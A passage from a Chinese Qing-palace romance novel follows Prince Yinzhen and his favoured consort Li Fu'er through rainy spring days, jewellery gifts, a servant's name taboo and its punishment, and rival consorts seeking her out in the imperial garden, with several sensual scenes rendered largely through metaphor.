进了春天,外头的雨水多了起来,下午的骑射课刚上一半,春雨如约而至,将阿哥们的衣裳打湿,马在湿润的泥土路上奔跑,后蹄将烂泥溅起,迎着风糊到衣裳的下摆。
骑射师傅不敢托大,忙请他们回宫歇着,然而这些阿哥们正是斗志最盛的年纪,谁也不愿意承认自己受不住这一场雨,一个赛一个的嘴硬,谁也不愿意率先离开,誓要坚持到结束。
好不容易结束了骑射课,每个人都好像在泥巴里滚过一般,好不狼狈。
胤禛满身泥的回了院子,本想先回自己屋子收拾干净,转念一想,脚步急转,领着人直接往李芙儿的屋子来了。
“天!爷您这是怎么弄的?”李芙儿赶紧从摇椅上站起来,骤然失了重量的摇椅急促地地前后晃着,好似一不小心便要倾倒在地。
此时却没有人有心思关注这摇椅,西厢房里瞬间忙了起来。
李芙儿更是直接握住胤禛的手腕,拉着他直往屋子里走去。
手腕上突然多了一股暖热,胤禛不适地皱了皱眉,这是第一次有人这么大胆,扯着他往屋子里走,但这感觉有如此的新奇,胤禛没有将手抽出,他适应着这陌生的感觉,很快便变得习惯,甚至是…喜欢。
游廊离屋子也就几步路的距离,等进了屋子,李芙儿将他的手松开。
骤然一空,胤禛心里空落落的,低头看去,只见细长的手指正搭在他的衣扣上,李芙儿正着急地替他脱下湿透的衣裳,细细碎碎地念着:“爷您身体再好,也不能这么不顾惜自己,冷热交替最是容易着凉,若是受了风寒可该如何是好。”
胤禛无意解释其他兄弟都没有停下,他自不能停的事情,他只摸着李芙儿的头,沉声道:“无妨。”
李芙儿瞬间红了眼圈,她低着头,湿透的外衣已经被随意地扔在地上,她默不作声地取来帕子,为胤禛擦着脸上脖子上的雨水。
这可是一场风寒就能要人命的时候,胤禛仗着年轻不在乎,可病痛无情,若他真出了事,李芙儿的后半辈子,便真是彻底没有了指望。
越想越害怕,李芙儿双手捧着胤禛的脸,将他的头拉着低下来,胤禛见着李芙儿泛红的眼圈,心里早就软成了一团水,任她施为,顺势便低下了头。
李芙儿踮起脚尖,额头抵着胤禛的额头,鼻子碰着鼻子,胤禛感受到喷到脸上的气息,只觉得痒痒的。
他不自在的歪了歪头,却换来李芙儿的娇嗔:“别动。”
胤禛竟然就这么止住了动作。
被李芙儿的动作弄得心猿意马,还不等胤禛动作,却听见李芙儿放松地声音:“还好没有发热。”
原来,只是为了感受是否发热…
感觉到怀中人轻盈离去,胤禛只觉得怅然若失。
没多久,李芙儿又小跑着来到胤禛身前:“爷,热水好了,可以洗澡了!”
苏培盛早就令人准备好了热水,只不过是在胤禛自己的屋子里,谁成想这主子不按常理出牌,之前的准备白费,又着急忙慌的令小太监去取热水,这才耽误时辰。
胤禛点了点头,令苏培盛在屋子外面候着,他自己将贴身衣服脱了,将身上的烂泥洗了个干净。
李芙儿挽起袖子,在旁边给胤禛递着香皂胰子。
一桶清水很快就染得灰黄,好在李芙儿早有准备,提前吩咐了小福子多拎些热水过来。
脏水倒出来,将地都染的脏了。
李芙儿看着地上的污水,眉头紧紧皱着。
“怎么,嫌脏?”
李芙儿没好气嗔了眼:“您在外头也是有头有脸的爷,怎么将自己弄得这样狼狈。”
胤禛低低笑着:“已经都洗干净了,不放心的话,你自己检查。”
说着,便牵过李芙儿的手,放在水里。
这水是刚刚换上的干净水,李芙儿也不忸怩,在胤禛的胸膛背上胡乱擦着。
胤禛原本只是和李芙儿调笑,被她这么一闹,也动了心思。
他眼神幽深,喉结滚动,一把抓住李芙儿作乱的手,手臂上青筋暴起,将李芙儿拉进浴桶之中。
“哗啦!”不大的浴桶里进了两个人,水线骤然上升,哗啦啦溅了一地。
李芙儿的身上也全被水浸湿。
本就穿的家常衣裳,柔软舒适的料子一沾水,紧紧地贴在李芙儿身上,纤秾合度,风姿绰约。
“爷!”李芙儿惊呼出声,她双手抵着胤禛的胸膛,凤仙花染红的指甲红艳艳的,搭在胤禛小麦色的胸膛上,更是让人恨不能咬一口。
胤禛低下头,一手将李芙儿的双手握住,拿到嘴边胡乱地亲着葱削般的指尖,一手解着她的扣子。
屋子里水声不断,屋外的雨声也没有停歇。
院子里的树枝受了春雨的滋润,渐渐舒展开来,绿油油的叶子承受不住露水的重量,渐渐垂下,剔透的露珠沿着绿叶的脉络下滑,等到树叶不堪重负,“嘀嗒”一声,滴落下来。
这露水正好滴在树下月季花心上,原本紧闭的花心被露水浸染,慢慢盛开,绯红娇艳,树叶上滴下的露水越来越多,鲜妍的花瓣被露水打湿,格外糜艳。
春雨下了大半夜,总算停了下来,月季早就不堪重负,耷拉了花瓣。
胤禛将浑身湿漉漉的李芙儿从浴桶里抱出来,热腾腾的水已经彻底变凉,满屋子都是水汪汪的,就连换衣服的坐榻上,都浸着一滩水。
李芙儿浑身哆嗦着,被胤禛放在了被子里,一碰仍有余韵回荡。
她
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赶紧将被子裹得严严实实,任胤禛怎么说说,都不放开被子。
知道将李芙儿逗狠了,胤禛终于不再闹她,重新取来床被子,踏踏实实睡了。
寅时刚至,胤禛便从睡梦中醒来,只见睡前泾渭分明的两人,又钻在了同一个被窝里,他的双手还将李芙儿搂得严严实实。
怀中的身躯温热而光滑,就和胤禛曾经得到过得顶级和田玉一般,触人心弦。
热血上涌,胤禛皱眉看了眼更漏,翻身覆在李芙儿身上。
一阵疾风骤雨,将李芙儿从睡梦中闹醒。
好累,好困,好舒服!
李芙儿眼睛半睁不睁,绕着胤禛的脖子,任他施为。
时辰已经不早,苏培盛着急地在外头唤了两声,胤禛终于将李芙儿松开,掀开被子起身。
李芙儿挣扎着要起来,胤禛伸手压住她:“你累坏了,好好歇着,不用送我。”
李芙儿抱着被子,遮住身前的红痕,哑着嗓子说道:“昨儿个御膳房送来了现包地包子,包子味儿小,还方便随身带着,您让苏公公蒸好拿上几个,一会儿进学别饿了。”
“我知道了,别操心了!”看着一脸困倦却坚持着吩咐的李芙儿,胤禛连忙隔着被子拍了拍她的背,让她安心睡觉。
李芙儿强打着精神吩咐完,头一歪,陷入了睡梦之中。
胤禛轻轻地将帐子放下,示意苏培盛噤声,去了外室。
但这西厢房拢共就这么点大,再怎么动作轻,也多少会发出声音来,里头多少能听见。
“日后开府了,给李主子找个大点的屋子。”胤禛擦过脸,对苏培盛正色吩咐。
苏培盛连连点头,里头这主子多大的造化,现在就让四阿哥惦记着开府后的住处了,这个热灶,他得赶紧烧。
早晨的胡闹耽误了时间,胤禛没来得及在屋子里吃早膳,苏培盛拿着油纸,包了几个热好的包子,又用加棉食盒装着,去了上书房。
胤禛到达上书房时候,教学师傅还没有到,他瞥了眼西洋怀表,走到背风处,从苏培盛手里拿出包子,一口咬下去,肉汁顺着流到喧软的面皮上,香味四溢,胤禛三两口一个迅速吃完,拿帕子将手擦干净,重新走回屋子里,却看见胤禩打趣夹杂着羡慕的眼神。
他们俩在宫里同病相怜,都是孤家寡人一样的人物,虽然有生母,却几乎得不到生母的关爱,养母也早早去了,景仁宫里他们俩孤零零住了几年。
四哥有了伺候的人,才搬去乾东五所。
眼见着他日子过得舒心,这只能是他身旁有了贴心人的缘故。
胤禛咳嗽两声,佯装镇定,他既为胤禩的打趣而感到不好意思,心里又有着微妙的得意之情。
同样养在佟佳额娘的宫里,他现在有人关怀,胤禩却只能羡慕。
拿书的手顿住,胤禛又走出去,从苏培盛那儿将最后一个包子拿进来,悄悄地塞给了胤禩。
胤禩低着头,大口大口吃着,眼圈微微红了。
9. 芙蓉簪
上书房里书声琅琅,李芙儿躺在床上,却只觉得筋骨疲乏。
说出去谁都不信,端肃守礼的四阿哥会如此孟浪。
果然,闺中之乐更甚有画眉者,还是读书人玩的花。
李芙儿红着脸,咬着被子恨恨想着。
好在还有辛嬷嬷,凭着辛嬷嬷的拿手推拿工夫,李芙儿才觉得活过来了。
今日一定不能让四阿哥这样那样了!
李芙儿下定决心,从内室走出的步伐格外坚定。
但这份坚定的决心没能坚持一刻钟。
秋菊手巧的为李芙儿梳好发髻,又从托盘里取出一支鎏金蝴蝶钗献给李芙儿。
李芙儿眼前一亮,这钗实在是妙!
鎏金的钗不像实心的那么富贵,自是没有超过李芙儿的位份。
然而这金钗的工艺,实在精巧,每一根线条,每一个弧度,都精细的不能更精细,更别说那拉丝的蝴蝶,振翅欲飞,活灵活现。
“这金钗是哪里来的?”李芙儿翻来覆去的看着,爱不释手。
“主子,四阿哥一早便派人送了一整套首饰过来呢。”秋菊指着放在一旁的托盘,与有荣焉。
至于为什么李芙儿不知道,自然是她那时候还在睡梦之中,四阿哥特特叮嘱了,让她不必谢恩。
能跟着得宠的主子,宫人也有体面,没白给管事嬷嬷塞那些银子。
秋菊不无得意的想着。
循着秋菊的示意,果然梳妆台上放了一个黄花梨木的托盘,里头趁着湖蓝色的丝绸,光泽粼粼的丝绸上,依次摆放钿子,扁方,簪,步摇,或錾刻或累丝或镶嵌,只只蝴蝶活灵活现。
唯一的空处,便是李芙儿正在赏玩的那个金钗。
丝绸的柔光将金饰衬托的更加夺目。
李芙儿手指逐一拂过,只觉得哪个都和她心意。
真美!
李芙儿忙示意秋菊为她将首饰都戴上,拿起铜镜,上下前后地欣赏着,久久不愿放下。
燕好两次能换来这么一套首饰,实在不亏!
李芙儿美滋滋想着,虽然事后腰酸腿疼,但过程中她也体会到了美妙的滋味,四阿哥年轻力壮,肩宽腿长,还有腹肌,并非只有胤禛一人沉迷。
若是这样的好东西,能再多多的来点,那就更好了。
等到胤禛申时散了学,回到西厢房的时候,见着的便是眼睛亮闪闪的李芙儿。
李芙儿小跑着出来迎接,牵着胤禛的袖子,殷勤地将胤禛迎进了屋子,浑身上下洋溢着幸福,喜悦的气息。
“爷,您给我送的那套首饰真好,我从没交见过做工如此精湛的。”
李芙儿喜滋滋地说着,看向胤禛的眼睛里,如同有星星闪烁。
秋菊特意梳了个繁复的发髻,正好能将全套钗环用上,李芙儿站在胤禛身前,原地转了一圈,裙角在地上划出弧线,头上各色的蝴蝶随着跳跃而颤动,好似要从乌黑的发中飞出。
李芙儿如此直白地表示出喜悦,全无宫里所推崇的含蓄,胤禛本该不悦,让李芙儿按着规矩来的。
然而心意被人接受的感觉实在太好,被李芙儿洋溢的喜悦裹住,胤禛只觉得他内心的愉悦之意越来充盈,慢慢膨胀,“砰”地一声,四肢百骸都觉得畅快。
他看着笑盈盈的李芙儿,手指动弹几下,几步上前将她打横抱起。
罗裙翻飞,花钿掉落,蝴蝶孤零零地躺在枕旁,徒劳地颤着翅膀。
“等等,簪子…”
话未完,被颤抖的尾声打断。
许久,蝴蝶的翅膀终于停了下来。
李芙儿用被子裹住胸前,将散落在床头枕侧的首饰拾起,借着帐外的灯光,看得格外认真。
金灿灿的钗环在白皙的手心,更加炫目,仔细看过,宝石一颗也没有掉下,累丝也未变形,她这才从床头的柜子里取出帕子,小心地裹住,将这妥当收好。
“就这么喜欢?”胤禛靠在床头,看着李芙儿的动作,笑着问道。
李芙儿白了胤禛一眼:“这可是爷您送我的!”
餍足的男人很好说话,他低低笑出声来,胸膛上下震颤,晶亮的汗珠顺着胸前滑到腹间。
李芙儿眼睛看呆了,她手不经意地搭上了胤禛的腹,上下摩挲着。
“别闹。”胤禛声音暗哑地警告。
李芙儿感受了一下身体的酸胀程度,连忙将手缩了回来。
见着她那好像被蛇咬了的动作,胤禛笑得更加厉害,他摸着李芙儿柔顺的长发,低声允诺:“这样子到底落了俗套,日后爷亲自给你画个花样,让造办处做好给你送来。”
李芙儿眼更亮,如同夜空中璀璨的星:“爷,能做成芙蓉花的样子吗?”
声音中如同裹了蜜糖。
“嗯。”胤禛点头应了,既然要画花样,自是得选个李芙儿想要的,他抚着李芙儿的发,若有所思:“喜欢芙蓉花?”
依偎到胤禛怀里,李芙儿笑得格外甜蜜:“妾出身的时候,家里芙蓉花一夜之间全开了,便给我取了芙儿的名字。”
芙儿,胤禛刚知道李氏的名字,他眉头皱了起来,在李芙儿笑着看他时,又舒展开来。
胤禛手指勾着李芙儿的脸,视线在她脸上流连,目光如有实质,将李芙儿看得面红耳赤。
她佯作镇定地任胤禛打量着。
“芙蓉如面柳如眉,好名字!”好半晌,胤禛低低赞叹一声。
李芙儿脸红地更加厉害,她默默地将头埋在胤禛的怀里,拉上被子,闭眼睡觉。
看着眼前耳朵都红透的人,胤禛心情更加畅快,他摸着李芙儿的耳垂,隔着被子拍了拍她的背:“睡吧。”
两人依偎着入了睡梦之中。
至于清宫中分被子睡的规矩,在两人第一次同床共枕时就被打破了,温热的身躯比冰冷的被窝有吸引力多了。
月升月落,又是一天。
胤禛醒来时候,只觉得被李芙儿缠着格外紧,差点呼吸不上来。
李芙儿睡着之后特别喜欢抱着他,越抱越紧,但胤禛不准备纠正李芙儿这个习惯,在这个紧实的拥抱中,他感受到被需要的安心感,甚至还有一种莫名的安全感。
他习以为常地将李芙儿的手脚挪开,轻轻掀开被子,弯腰将散了一地的衣裳捡起穿上,悄无声息走了出去。
苏培盛早就领着人在外间等着了,随着胤禛在西厢房留宿次数
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增多,西厢房里他的衣裳挂件也多了起来,苏培盛也无需一大早去胤禛的屋子将衣服取来了。
见着自家主子又是衣裳零乱地独自出来,苏培盛都想向李芙儿请教,到底给主子下了什么迷魂药,怎么就那么喜欢。
换衣裳时候,只见胤禛自脖子以下,胸膛腹部能被衣裳遮住的地方,都是星星点点红痕,苏培盛对这李主子的本事更是叹为观止。
他在宫中这么多年,从没听过有那个贵人在主子们身上留下这么多印子,主子并不动怒,甚至甘之如饴的。
“苏培盛。”苏培盛胡思乱想着,突然听见四阿哥喊他名字,他心里一惊,以为四阿哥看出他心里不敬的想法。
连忙垂下眼,躬身听着吩咐。
却只听见上首的主子,凉凉说道:“西厢房的规矩松了,都敢怠慢主子了,你帮他们紧一紧皮。”
苏培盛惊地更加厉害,他是四阿哥的贴身大太监,此时四阿哥没有取福晋,他院子里的事情都是他管着的,四阿哥这么说,一定是有什么事情触了他的霉头。
这是他的过错。
也不管到底什么事情,苏培盛一个磕巴也没打的应了。
等到伺候了胤禛去上书房,又让他徒弟在门外守着,有什么事情及时传信后,苏培盛这才一脑门子官司回了西厢房。
“苏公公,您来了!可是四阿哥有什么吩咐?”秋菊正在院子里,将新开的花朵摘下几朵,准备给李芙儿簪花,便看着苏培盛阴着一张脸,满脸晦气地走了过来。
秋菊心头一颤,一边冲着冬梅使眼色,令她赶紧给李主子报信,一边笑着迎了上去。
“可当不得秋菊姑娘这声您。”苏培盛站在门外,阴阳怪气地说着。
李芙儿得了信,从屋里出来时候,听见的便是苏培盛的这句话。
她连忙走上前,笑着问道:“苏公公,我这里宫人们不懂事,不知道什么时候错了规矩,您好好教教。”
苏培盛能在秋菊面前拿大,却半点也不敢在李芙儿面前拿架子。
四阿哥对这李主子的偏宠,苏培盛心里门清,他这次来就是为了敲打西厢房的人不敬李芙儿的事情,他若摆架子令李主子难受,四阿哥能让他脱层皮。
遂苏培盛笑得格外谄媚,他腰弯得低低的,说出的话格外的软和:“李主子您这说的哪儿的话,奴才也是奉四阿哥的令行事,您这宫里的这些人,不知合不合您心意?”
四阿哥说得不清楚的,但苏培盛是一个合格的大太监,必须揣摩好主子的心意,并且将事情完美解决好。
他试探着问着李芙儿,毕竟,李芙儿被怠慢,她自己应该是体会最深的。
然而李芙儿也一脸困惑,她这边就几个人伺候,平日里也尽心尽职的,不知晓苏培盛为什么突然关心此事,还一副风雨欲来的模样。
“劳烦您关心,我这儿几个人都很上心,一切都好。”李芙儿连忙回道。
苏培盛见着李芙儿的神色,不像假话,但四阿哥的命令,更不像说笑,他也纳闷不已。
忙将四阿哥早上的吩咐说了出来。
规矩松了?这是什么情况?李芙儿半点也没有察觉到,她与苏培盛面面相觑。
10. 立威
“哎哟我的李主子,”苏培盛都要给李芙儿跪下了,他领着人将西厢房都梳理了一遍,的确有做的不当之处,但严重到让四阿哥特意指出来的,苏培盛还没有发现。
他急得直跳脚。
“主子您就发发善心,救救奴才。”
若李芙儿只是之前那个被小轿子抬过来的,无足轻重的侍妾,苏培盛也不用急成这样。
道眼见着李芙儿已经在胤禛眼里挂上了号,他还查不出西厢房的问题,就是他这个总管的失职。
李芙儿也没有为难苏培盛的意思,毕竟苏培盛是胤禛贴身伺候的大太监,得罪了他没什么好处。
但,李芙儿也确实没想到到底是哪里出了问题。
她皱着眉,在屋子里踱着步,多宝阁上珠光宝气,将屋子里都衬托地富贵起来。
李芙儿掰着手指头给苏培盛算着:“公公您也知道,我这儿人口简单,加起来就辛嬷嬷,秋菊,冬梅,并一个小福子,他们都是老实诚恳的,平日为人您也看在眼里,哪里有什么不敬呢。”
苏培盛只觉得牙疼,将往日里见过的情形一一滤过,这几人伺候地确实算上心。
不对,一定有没注意到的地方。
苏培盛看着李芙儿和善的脸色,狠狠心,躬着身子问道:“请主子恕罪,前儿个您可是说了什么?”
秋菊,冬梅脸色大变!
苏培盛找不出事情,是他没有当好差,这么大喇喇问主子与四阿哥相处的情形,实在是冒犯!
若主子是福晋,他还敢这么大咧咧问到头上吗?不过是看着主子好欺负。
李芙儿脸色微微一变,却未如秋菊冬梅那般失色,她微微一笑,轻描淡写说道:“不过是爷应了再给我一套芙蓉头面。”
芙蓉花,特意提出这个花样,必有缘故。
苏培盛也是个聪明人,不然也当不了这么多年胤禛的贴身太监,他瞬间便意识到什么,只觉得一阵阵寒气从脚底往头顶冒。
他低着头,语气更加恭谨:“敢问主子,您要这花样,可有缘由?”
话已经开了头,李芙儿也不忸怩:“我在家中的闺名,便取自其中。”
果然!
苏培盛绝望地闭上眼,都不要李芙儿再说,他已经确认了。
脸色煞白地跪下,膝盖结结实实的磕在地上,发出“咚”地一声响。
李芙儿听着都觉得实在是疼。
苏培盛却好像感受不到疼痛,他的额头紧紧贴在地上:“奴才办事不利,请主子降罪。”
慢一拍的小福子也反应过来,更是如死灰一般的面色,他跪的更加用力,浑身发抖,说不出话来,只能不断地磕头。
秋菊与冬梅对视一眼,也明了其中关窍,同样无声跪了下来。
至于管事的辛嬷嬷,早就悄无声息地跪在一旁。
一时间,西厢房里跪了一地。
“这是在干什么?快起来!”李芙儿忙止住了几人请罪的动作。
“主子心善,”辛嬷嬷磕了个头:“奴婢御下不严,让小福子撞了您的名讳。”
清宫讲究避讳,一个太监和主子重了名,赶着气性大的主子,一顿板子少不了。
负责西厢房事情的辛嬷嬷,以及管着这个宫里事情多苏培盛,都逃不脱责罚。
李芙儿终于听明白了缘由,她长在民间,哪里有这些讲究,对于小福子名字与她同音,只觉得巧合,又哪里觉得冒犯。
她挥了挥手,随意道:“不知者不罪,起来吧,日后好好当差便够了。”
辛嬷嬷等人却仍未起来,她心里清楚,这是她的轻忽导致。
李芙儿刚被指给四阿哥的时候,辛嬷嬷觉得她不过是个小小侍妾,翻不出大事来,没有将李芙儿这个主子放在眼里,更不会想着私下里打听。
这便导致了,满宫人无一知晓李芙儿的名讳。
李芙儿又没有对小福子的名字提出异议,这事便含混着过了。
谁知道惹出天大的祸事。
“是奴婢失职,请主子责罚。”辛嬷嬷依旧跪着,不愿起来。
“你也知道。”冰冷地声音从门外传来,循声望去,只见胤禛穿着石青色蟒袍,冷着脸大步走了进来。
他不满地看了苏培盛一眼,眼中有冷光闪过,多大点事,这么长时间都没有料理完,还闹到了李芙儿眼前,要他这个总管有何用。
苏培盛连忙请罪,辛嬷嬷重新伏了下去,至于小福子,更是抖如筛糠。
唯有李芙儿,好像没看到胤禛嗖嗖放出的凉气,笑着贴上去,挽着胤禛的手:“爷,您来了!”
苏培盛悄悄看着天色,确实到了胤禛散学的时辰,感觉天都要塌了,他居然被这事绊了那么久,都耽误了去等着四阿哥散学,最重要的是,还没有弄出个结果,被四阿哥看了个正着。
胤禛却没有管跪在一旁的苏培盛,他皱着眉,摸着李芙儿略微苍白的脸,不满道:“这么点小事都要闹到主子面前,都是怎么办事的。”
闻言,原本就跪着的宫人立即请罪。
李芙儿将脸依赖地在胤禛大掌里蹭了蹭,笑着说情:“这也怪我没和他们说明白,不是多大的事,日后小福子换个名字也就行了。”
“爷您说换个什么名字呢?”李芙儿软着声音,依赖地看着胤禛,满心满眼都只有这个人,好像胤禛便是她的全世界,他说什么便是什么。
一个太监的名字,远没到让胤禛亲自来取的地步,但看着李芙儿依赖的目光,胤禛心软了,他沉吟片刻:“都说福泽深厚,那就用泽字。”
小福子,不,小泽子,知晓这关过了,长松了口气,忙磕头谢恩:“谢主子恩典。”
胤禛知晓李芙儿用习惯了,瞥一眼满屋子的人:“出去跪一个时辰。”
以辛嬷嬷为首,几个人都松了口气,罚跪算最轻的惩罚,若真被剥了裤子打板子,这才是真活不下去。
几人忙谢恩出去,自去跪了不提。
李芙儿从胤禛怀里抬头,盈盈的眼里满是欲言又
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止。
胤禛知晓她心肠软,他牵着李芙儿的手,在榻上坐下,双手碰住李芙儿的脸,与她对视:“你现在是主子,要摆出主子的威风来,对下人太好说话,只会让他们看轻你,作为主子,你要恩威并施,他们想什么不重要,但是一定得伺候好你。”
“让他们跪着长长记性,没有坏处。”
胤禛淡淡说道,宫里是个吃人的地方,李芙儿对下人太温和,宫人们失了谨慎,出去没有好处。
李芙儿愣住,在入宫之前,她身边都没有丫鬟伺候,更没接触过驭人之术,胤禛仔细的教着,虽然她还不习惯这个想法,却也明白胤禛是为了她好,将他的话囫囵听了。
李芙儿清楚地知道,在御下这方面,她没有胤禛懂得多,遂也不再求情,
她记得库房里有几瓶上好的跌打损伤药,等晚些时候给他们送去,应当落不下毛病。
果然如胤禛所言,在这次敲打之后,西厢房的人对李芙儿伺候地更精心数倍。
就连苏培盛,都一瘸一拐地,给李芙儿扎实请罪。
却不是因为他失察,而是他查事情查到了主子头上,被胤禛知晓后,又罚了他一遭。
苏培盛这才真的服气,再也不敢轻视李芙儿。
一力降十会,在绝对的权力面前,苏培盛的算计,压根就登不上大雅之堂。
李芙儿听了胤禛的教导,大大方方受了苏培盛的请罪,又在胤禛面前替苏培盛说了几句好话,这让苏培盛对李芙儿这儿多关注几分。
最直接的结果,便是李芙儿这儿的生活水准直线上升。
有了苏培盛这个大总管的吩咐,胤禛院子的宫人都对李芙儿格外重视,春日的雨水格外的多,从白天到黑夜,细密如丝,屋子里的枕头被褥被潮乎乎的雨气浸地湿漉漉的,还不等李芙儿令人换,干燥舒适的寝具送了过来。
就连胤禛再过来的时候,都点头赞许:“你这个总算有个样子了。”
李芙儿恨不得甩个白眼,之前她这儿规矩不严,让金尊玉贵的四阿哥受了委屈。
但这些念头李芙儿只能腹诽,面上依旧满是依赖,柔柔弱弱的:“多亏了爷。”
胤禛大悦,李芙儿的依赖给他带来了十足的成就,他抱住李芙儿,叹息般说道:“你啊,没有爷该怎么办。”
李芙儿摸着胤禛的喉结,柔声细语:“有爷在真好。”
胤禛怜惜地看着李芙儿,眼前人什么都好,就是性子太柔了,没有他帮忙盯着,还不知道会被下人欺负成什么样子,以后还是要更多分些心神看着她的屋子。
内务府那儿,也抻了够久了,明儿个去给太子请个安,给太子做做脸面,太子也不至于再抓着这个事不放。
抚着李芙儿柔顺的发,胤禛有一搭没一搭的想着,在淅沥的春雨声中,两人依偎着入睡。
一场春雨一场暖,在淅淅沥沥地几场春雨之后,天气彻底地暖和了起来,迎春花儿大片大片地盛开,南下过冬的鸟儿也飞了回来,春天真的来了。
11. 花汁
春日的风和煦而温柔,吹拂而过,将满园子的春色都催开,桃红柳绿,莺啼啭啭,这大好春光,李芙儿自不愿错过,挑着天气好的日子,领着人在院子里逛了逛。
海棠花一簇簇地开着正盛,风一吹簌簌而下,李芙儿的发间鬓角都是粉白的花瓣,等到李芙儿带着满肩的花瓣回来,便见着胤禛抚掌而笑:“这是哪里的花神下凡来了。”
“您又笑话我。”李芙儿在院子里走了一遭,脸颊透出殷红,她红着脸抖着发间身上的花瓣,衣袂翻飞间,金丝隐隐闪过流光,端的是富丽堂皇。
胤禛见着李芙儿胡乱地拆着头发,缎子似的发被她弄的杂乱,无奈地叹口气,双手搭上李芙儿的肩膀,将她压下坐在梳妆镜前,仔细地将她发间的金钗取下。
“这个钗子?”胤禛望着熟悉的花样,转着圈对着光仔细打量。
这金钗份量不重,拿在手里也只能说句小巧玲珑,但上头的芙蓉花却格外不同,全然没有拘泥于现有的形状,花瓣勾勒间,灵气逼人。
凭胤禛这苛刻的眼光,都能将其评为上品,更何况,这金钗的来头可不一般。
“就是您亲自给我画的钗子,造办处昨儿个刚刚送来。”李芙儿照着镜子,将发间细碎的花钿取下,身子往后倒,整个人全倚靠在胤禛的怀里,笑得甜蜜。
胤禛忙将李芙儿搂住,感受到她全身心依赖,胤禛嘴角微不可察地掀起一个弧度:“造办处的手艺还不错,这个钗子可还满意?”
“您说的是什么话!”李芙儿诧异地瞪大眼,将金钗拿到指间,着迷地看着:“这芙蓉钗是我见过最雅致的,哪里是满意二字能道尽。”
胤禛嘴角勾勒出笑着,冷面惯了的人,骤然一笑,格外好看,李芙儿一时看得呆了。
胤禛低头,在李芙儿的后颈轻吻着,感受着怀中人身上馥郁的花香,轻笑着说道:“伺候好爷,以后还有更好的。”
李芙儿手一松,指间的金钗悄然落地,陷入满地的海棠花瓣之中。
海棠花汁将金钗缠绕裹挟,让金钗沉醉其中,不知今夕何夕。
西洋钟转了一圈,鸟儿终于止住了啼叫,海棠花早已被碾碎成泥,零碎的花瓣沾在李芙儿洁白的背脊,粉红的花瓣为白玉的背绘出图案,胤禛躺在李芙儿身旁,侧着身子欣赏地看着,眼神愈发幽深。
胤禛捻起被摧残的花瓣,感受着溢出充盈的汁液,安抚着李芙儿极乐后仍在细细抖着的身子:“御花园的花儿都开了,趁着春光好,多去看看,别误了春色。”
御花园,居然还能去御花园!
李芙儿心花怒放,她深知宫中事情多,自入了胤禛的后院,最多也不过是在殿里走走,从没出过乾东五所,不大院子早就被逛遍了。
听胤禛的意思,她可以去御花园逛,这对于在不大的屋子里闷了许久的李芙儿而言,是个不小诱惑。
“都听爷的。”李芙儿心里高兴,身上却懒洋洋地不愿动弹,她侧着身子滚在胤禛的怀里,胡乱在胤禛胸前颈间亲了好几口,将胤禛的兴致又勾了起来。
地上铺了一层厚厚的羊毛毯子,地砖的凉意透不上来,吸水性格外好的毯子,过了不知多久,变得湿淋淋的,李芙儿急促呼吸着,好半晌才从余韵中平复,看着满室的狼藉,懊恼不已。
实在太孟浪了,几步路都没有忍住,近在咫尺的床都没来得及过去,就胡来起来,这羊毛毯子上被各种乱七八糟的汁液浸染,也不知宫人们会如何嘀咕。
胤禛却全不在意,他还沉浸在新的地点,新的姿势带来的新鲜感中。
成人之前,教引嬷嬷给了胤禛小册子学习,但教导阿哥们人事的小册子里头内容中规中矩,没有出格之处,教导他习得人事的宫女,更是循规蹈矩,不过是按部就班罢了,这是胤禛第一次体会超出常规的快感。
等身上汗息住,他用锦被囫囵个将李芙儿盖住,先将她在放在床上,随即才让人准备热水梳洗。
自那日后,胤禛在李芙儿的屋子里,更加自在起来。
与李芙儿之间更是情浓,少年人的精力无穷尽,沾染上李芙儿的身子,便舍不得撒开手,这让李芙儿每日都腰肢酸软,也打不起精神去逛园子。
好在还有
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辛嬷嬷的祖传手段,能让李芙儿勉强应付过来。
一夜风雨,枝头的花被吹打地飘落在地,满园春色凋零大半,望着宫女们扫拢着的残叶,听着秋菊说的,御花园里花也开始谢了,李芙儿下定决心,不能误了春光。
在辛嬷嬷做完推拿之后,李芙儿领着秋菊和小泽子踏出了西厢房,直奔御花园而去。
这让一直盯着西厢房的人,精神瞬间振奋起来。
自从李芙儿入了西厢房后,四阿哥好像被她下了蛊,再也未在旁人那儿歇过,就连怀有身孕宋格格,也只在白日里去见过几次,从未久呆过。
眼见着李芙儿这般得四阿哥宠爱,四阿哥的后院里那些侍妾们也盯上了李芙儿,若能与她交好,说不得什么时候便得了四阿哥的青眼。
奈何李芙儿日常便待着西厢房里,几乎不出来,偶尔在院里赏花,也是没多久便回去,得到消息的格格们还没有梳完妆,李芙儿又回了屋子。
让人想凑近都没办法。
这次猛然听说李芙儿领着人去逛御花园了,想必没那么快回来,一个个都蠢蠢欲动起来,连忙令人妆扮好,与李芙儿前后脚出去。
其中最为热切的就是宋格格。
宋格格侥幸有了身孕,但她并不得胤禛的宠爱,李芙儿刚进宫的时候,她仗着肚子里的孩子,给她摆过谱,却碰了个不软不硬的钉子。
宋格格刚被李芙儿怼回去之时,是恼怒的,李芙儿一个刚入宫的格格,凭什么对她不恭敬,然而随着四阿哥对李芙儿毫不掩饰的偏宠,宋格格愈发心惊胆战,唯恐李芙儿记恨了她。
若是李芙儿在四阿哥面前吹点枕旁风,让四阿哥对她的孩子不喜怎么办!
宋格格惶恐地想着。
随着四阿哥去她屋子里频率的减少,这个念头在她心里越来越深。
她早就想找机会给李芙儿请罪,然而四阿哥常常在李芙儿屋子里待着,宋格格愣是没找到合适时候。
这次听到宫女禀告,得知李芙儿终于出了屋子,宋格格也顾不上宫人的阻拦,一门心思追着李芙儿的脚步出去。
12. 意外
御花园里姹紫嫣红,一朵朵花儿,红的粉的黄的绿的,竞相伸展身姿,在风里摇曳。
李芙儿在家里没有见过这般娇贵的花,虽叫不出名字,却能领略这份美。
御花园的太监得知是四阿哥的女眷,忙从里头的花里挑了几朵品相好的,呈给李芙儿簪发。
李芙儿见送来的几朵花开的正盛,也起了兴致,没让秋菊插手,亲自将绽开的花朵簪在鬓间。
青丝如瀑,牡丹灼灼,蝴蝶翩跹起舞,从大团大团的花簇中钻出,落在李芙儿的发间。
宋格格等人匆忙收拾好自己,赶到御花园时候,见到的便是这般情景。
遥望着色如春花的李格格,不知几人碎了牙。
就是凭着这份好颜色,将四阿哥的心全占住,让她们再没有沾过四阿哥的边。
一时间,又是嫉妒又是羡慕,众人神色复杂地看了许久。
还是宋格格先有动作,她挺着大肚子,被宫女搀扶着,走到李芙儿面前,笑着招呼:“李格格今儿个好兴致。”
再无第一次见面时的咄咄逼人。
